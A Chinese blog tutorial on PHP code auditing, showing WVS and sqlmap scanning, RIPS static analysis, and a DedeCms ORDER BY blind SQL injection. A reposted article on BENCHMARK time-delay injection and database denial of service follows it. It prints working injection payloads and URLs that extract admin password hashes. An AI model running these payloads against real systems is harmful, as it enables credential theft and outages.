最新消息:

关于PHP代码审计和漏洞挖掘的一点思考

MySQL注入 admin 5384浏览 0评论

这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出。

PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂,今天我想主要谈谈关于PHP代码审计和漏洞挖掘的一些思路和理解。

PHP的漏洞发掘,其实就是web的渗透测试,和客户端的fuzzing测试一样,web的渗透测试也可以使用类似的技术,web fuzzing,即基于web的动态扫描。

这类软件国内外有很多,如WVS,Lan Guard,SSS等。这类扫描器的共同特点都是基于蜘蛛引擎对我们给出的URL地址进行遍历搜索,对得到的URL和参数进行记录,然后使用本地或者web端的script脚本攻击语句进行攻击测试。

如:

http://www.foo.com/index.php?parm1=1&parm2=2&parm3=3.....&parmn=n

WVS使用本地的脚本攻击数据库对这些参数进行交叉替换和填充,构造出新的URL,然后用GET或者POST的方式向服务器发出请求,并对返回的结果进行正则判断。如是否出现:” You have an
error in your SQL syntax”等字样。如果出现,则记录下来,说明这个脚本页面”可能”存在漏洞。

20130901220730_93784

 

WVS把攻击分成了很多模块:

1. Blind_SQL_Injection
2. AcuSensor
3. CSRF
4. Directory_And_File_Check
5. File_Upload
6. GHDB(Google黑客数据库)
7. Sql_Injection
8. Weak_Password
9. XSS

 

每种攻击测试方式都对应着一类scripts,里面包含了攻击语句。

用WVS扫描完之后,如果能发现一些sql注入点的提示,这个时候可以先用sqlmap进行注入尝试,进一步判断注入点的情况。

http://hi.baidu.com/306211321/item/b4b2ea1f75db1dea9913d659

如果这两步都不能成功,说明基于fuzz的动态扫描不能继续下去了,这个时候,我们应该想办法进行静态的代码审计,从源代码的角度分析和挖掘漏洞的成因和 利用方式。这块可以使用RIPS这样的软件,RIPS是一款专门用来进行静态PHP代码审计的工具,能够帮助我们定位到可能存在漏洞的代码区域。

20130901220907_10081

 

RIPS对代码进行静态漏洞扫描的基本思想有两条:

1.       对容易产生漏洞的函数进行跟踪(例如:mysql_query())

RIPS认为,所有的注入漏洞最终都要经过一些特定的数据库操作函数,mysql_query()或程序自定义的类函数,这些函数是产生漏洞的导火索,只要对这些函数的控制流和参数流进行回溯扫描,就可以发现大部分的代码漏洞。

2.       对产生注入漏洞的源头即用户传输过来的数据流进行跟踪($_GET,$_POST,$_COOKIE)

“用户输入的一切数据都有害”,大部分的注入漏洞,包括二次注入,究其原因都是因为对用户的输入数据没有做好过滤,RIPS对这些敏感数据进行跟踪,并判 断其在进入敏感函数(mysql_query())之前有没有对其进行有效处理(addslashes())来判断这条数据流是否存在漏洞。

动态扫描加上静态定位,最终使我们能更容易的发现一些漏洞并及时使其得到修补。

接下来,我们来针对一个已知的漏洞进行一次分析。

DedeCms V5 orderby参数注射漏洞

SSV-ID3824

SSV-AppDir织梦

URLhttp://sebug.net/vuldb/ssvid-3824

1.       动态扫描

架设好服务器和网站后,我们使用WVS对网站的根目录进行扫描,因为我们现在是黑盒测试,所以直接从网站根目录开始扫描。

20130901221045_70808

等待一段时间后,扫描结果出来了,得到一些疑似SQL注入的URL。这里研究一下WVS的注入测试原理是什么,通过查看apache的access.log。我们发现了一下请求(无关部分已经删除)。

id=-1&page=1
id=-1 or 1*71=71&page=1
id=-1 or 71=0&page=1
id=-1' or 5=5 or '39'='39&page=1
id=-1' or '39'='0&page=1
id=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/&page=1
id=com_virtuemart' and sleep(2.09)='&page=1
id=com_virtuemart' and (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart'=sleep(2.09)='&page=1
id=com_virtuemart"=sleep(2.09)="&page=1
id=com_virtuemart'+(select 1 from (select sleep(2.09))A)+'&page=1
id=com_virtuemart and sleep(2.09) &page=1
id=com_virtuemart or (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart';select pg_sleep(2.09); -- &page=1
id=com_virtuemart'; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart"; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart&page=-1 or 1*22=22
id=com_virtuemart&page=-1 or 22=0
id=com_virtuemart&page=-1' or 5=5 or '56'='56
id=com_virtuemart&page=-1' or '56'='0
id=com_virtuemart&page=-1" or 5=5 or "39"="39
id=com_virtuemart&page=-1" or "39"="0
id=com_virtuemart&page=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/
id=com_virtuemart&page=1 and sleep(2) 
id=com_virtuemart&page=1 or (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1' and sleep(2)='
id=com_virtuemart&page=1' and sleep(0)='
id=com_virtuemart&page=1' and (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1' or (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1" or (sleep(2)+1) limit 1 -- 
id=com_virtuemart&page=1" or (sleep(0)+1) limit 1 --  
id=com_virtuemart&page=1'=sleep(2)='
id=com_virtuemart&page=1"=sleep(2)="
id=com_virtuemart&page=1'+(select 1 from (select sleep(2))A)+'
id=com_virtuemart&page=1;select pg_sleep(2); -- 
id=com_virtuemart&page=1';select pg_sleep(2); -- 
id=com_virtuemart&page=1; waitfor delay '0:0:2' -- 
id=com_virtuemart&page=1'; waitfor delay '0:0:2' -- 
id=com_virtuemart&page=1"; waitfor delay '0:0:2' --

可以看到,WVS采用的是一种基于时间延迟的盲注入测试技术。

http://www.4ngel.net/article/49.htm

盲注入的利用关键是要找到一个二值逻辑的判断,即需要对不同的输入有不同的返回结果,我们才能借助推理得到一些信息,但是有时候,盲注入得到的结果并不会 在UI上显示出来,这样就回导致我们注入失败,但是采用时间延迟的思想就可以很好的避免这个问题,从而能够对不同的程序具有很好的适应性。

1.注入点探测

得到WVS的扫描结果后,我们需要对可能存在注入的URL进行注意排查,以确定是否真的存在注入漏洞。

我们选取:http://192.168.174.131/index.php?option=com_virtuemart&page=1

这是dedecms的一个留言板的脚本页面:

20130901221203_70492

 

使用sqlmap对疑似注入点进行探测:

 

python sqlmap.py -u "http://192.168.174.131/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=1" --current-db

20130901221248_43237

 

 

扫描的结果没有成功,又手工尝试了union
selct和order by1,2,3..等注入方式,貌似不能获得盲注入的效果。

不成功的原因有很多,我自己根据经验总结了几点:

触发实际的sql注入漏洞之前要

 

1. 先获取cookie值(如果没有cookie值很多时候会被直接弹出到首页,没法进入到一些深层次的代码逻辑)
2. 获取formhash(防止CSRF的)
3. 对POST或GET或cookie中的某个字段进行某种编码(base64等)
4. 特殊字符(%cf宽字符)注入等
5. 结合POST或COOKIE的变量覆盖的sql注入
6. 盲注入sql语句构造的特殊性

 

这些先验条件有时候就会称为漏洞触发和利用的关键。

这个时候用自动化工具进行测试的工作基本做完了,我们接下来要使用RIPS来对源代码进行白盒分析,因为目标系统是开源的cms系统,我们可以很容易的从网上下载到全部源代码。

使用RIPS对cms的整站源代码进行扫描

20130901221339_47329

RIPS扫描出了很多文件,有些是因为交叉引用,有些是真正存在漏洞的代码的。

我们来到:
/member/guestbook_admin.php

来分析以下代码漏洞

//重载列表
if($dopost=='getlist'){
         PrintAjaxHead();
         GetList($dsql,$pageno,$pagesize,$orderby);
         $dsql->Close();
         exit();
.........

 

 

//获得特定的关键字列表
//---------------------------------
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
         global $cfg_phpurl,$cfg_ml;
         $jobs = array();
         $start = ($pageno-1) * $pagesize;

  $dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
         $dsql->Execute();
  while($row = $dsql->GetArray()){
         $row['endtime'] = @ceil(($row['endtime']-$row['pubdate'])/86400);
         if($row['salaries'] == 0){
                  $row['salaries'] = '薪酬面议';
         }
    $jobs[] = $row;
   }
         foreach($jobs as $job)
         {
                   //模板文件
                   include(dirname(__FILE__)."/templets/job.htm");
         }

可以看到,代码在编写的时候,并没有对orderby这个参数进行过滤。导致了注入和畸形数据报错,接下来,我们的任务就是要利用这个漏洞进行有效的注入,获得数据。

我们手工构造一个SQL注入:

http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid+and+if(ASCII(SUBSTRING((SELECT+pwd+FROM+dede_admin+where+id=1),0,1))=63,1,(SELECT+pwd+FROM+dede_member))

对应的sql语句:

Select * From dede_member_guestbook where mid='1' order by mid and if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member));

这样不能成功,因为sql语句的语法是这样的:

SELECT select_list
  [ INTO new_table ]
  FROM table_source
  [ WHERE search_condition ]
  [ GROUP BY group_by_expression ]
  [ HAVING search_condition ]
[ ORDER BY order_expression [ ASC | DESC ] ]

而我们在能控制的参数是order by参数,在where后面,我发现这个时候不管and逻辑的true or false都不影响sql的查询结果。

转换一下思路:

http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid,if(ASCII(SUBSTRING((select+pwd+from+dede_admin+where+id=1),1,1))=54,1,(select+pwd+from+dede_member))+asc--

对应的sql语句:

Select * From dede_member_guestbook where mid='1' order by mid,if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member)) asc;

这个语句貌似可以利用,因为在标准的sql语法中。在order by后面再加and是没有用的。但是这里用了逗,也就是if后面的语句也属于order by的一部分了。再在最后加上一个asc,盲注入就成功了。

20130901221513_39602

20130901221525_41809

在+asc后面加上–注释号,来屏蔽掉后面的desc limit
0,5,整个语句就能跑通了。根据返回的结果的不一致,利用正则判断一下,就可以利用盲注入进行帐号和密码的猜测。从而获得后台权限。然后dede的密码存放机制是产生32位的MD5后,截断前24位,所以得到的hash只有24位,没法用cmd5.com直接破解。698d51a19d8a121ce581499d,去掉前8位9d8a121ce581499d转换成16位MD5,再用cmd5.com来解密,成功。

20130901221535_16107

总结:

Web渗透和代码审计的第一步是对网站的fuzz测试,这可以从整体上对网站的漏洞情况进行扫描,缩小范围。

对漏洞的具体挖掘和利用还是要使用白盒分析,即源代码分析,这样才能更有效的针对不同的代码情况指定出漏洞利用方案。

 

介绍一些web fuzzing的工具:

 

Browser Fuzzer 3 (bf3) – Comprehensive Web Browser Fuzzing Tool
MantraPortable  --- OWASP的一款渗透测试套件
Webshag v1.00 – Web Server Auditing Tool (Scanner and File Fuzzer)
Wfuzz – A Tool for Bruteforcing/Fuzzing Web Applications
WVS
LAN Guard
SQLmap

 

刚开始接触代码审计这块,懂得不是很多,就说了一些平时玩的过程中的理解和观点,希望大神路过能多多指导指导,我会继续学习这方面的知识。

 

MYSQL中BENCHMARK函数的利用

本文作者:SuperHei
文章性质:原创
发布日期:2005-01-02
完成日期:2004-07-09

第一部

利用时间推延进行注射—BENCHMARK函数在注射中的利用

一.前言/思路

如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。

本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。

二.关于BENCHMARK函数

在MySQL参考手册里可以看到如下描叙:


BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
mysql> select BENCHMARK(1000000,encode(“hello”,”goodbye”));
+———————————————-+
| BENCHMARK(1000000,encode(“hello”,”goodbye”)) |
+———————————————-+
| 0 |
+———————————————-+
1 row in set (4.74 sec)

报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。


只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:

mysql> select md5( ‘test’ );
+———————————-+
| md5( ‘test’ ) |
+———————————-+
| 098f6bcd4621d373cade4e832627b4f6 |
+———————————-+
1 row in set (0.00 sec) 〈———–执行时间为0.00 secmysql> select benchmark( 500000, md5( ‘test’ ) );
+————————————+
| benchmark( 500000, md5( ‘test’ ) ) |
+————————————+
| 0 |
+————————————+
1 row in set (6.55 sec) 〈————执行时间为6.55 sec

由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。

三.具体例子

首先我们看个简单的php代码:

< ?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);$sql = “SELECT * FROM article WHERE articleid=$id”;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
exit;
}
?>

数据库injection结构和内容如下:

# 数据库 : `injection`
## ——————————————————–#
# 表的结构 `article`
#

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default ”,
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `article`
#

INSERT INTO `article` VALUES (1, ‘我是一个不爱读书的孩子’, ‘中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~’);
INSERT INTO `article` VALUES (2, ‘我恨死你’, ‘我恨死你了,你是什么东西啊’);

# ——————————————————–

#
# 表的结构 `user`
#

CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 导出表中的数据 `user`
#

INSERT INTO `user` VALUES (1, ‘angel’, ‘mypass’);
INSERT INTO `user` VALUES (2, ‘4ngel’, ‘mypass2’);

代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用 union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我 们利用union联合查询插入BENCHMARK函数语句来进行判断注射:

id=1 union select 1,benchmark(500000,md5(‘test’)),1 from user where userid=1 and ord(substring(username,1,1))=97 /*

上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5(‘test’))中我们使用了’号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*

执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。

注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。

第二部

利用BENCHMARK函数进行ddos攻击

其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:

http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))

小结

本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。

转载请注明:jinglingshu的博客 » 关于PHP代码审计和漏洞挖掘的一点思考

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (3)

  1. 文章中用到的例子中用到了order by语句,原理是order by可以按照多个不同的字段进行排序,如order by id asc,title desc。上面例子中通过if语句结果的不同来达到排序字段的不同,因而展示最后的页面是不同的。 这就是盲注的一种方法,当然还有很多盲注的方法,如下面文章介绍的BENCHMARK函数。
    admin12年前 (2013-09-03)回复
  2. 在标准的sql语法中。在order by后面再加and是没有用的。但是这里用了逗,也就是if后面的语句也属于order by的一部分了。再在最后加上一个asc,盲注入就成功了
    admin12年前 (2013-09-03)回复
  3. mysql的order by注入
    admin12年前 (2013-09-03)回复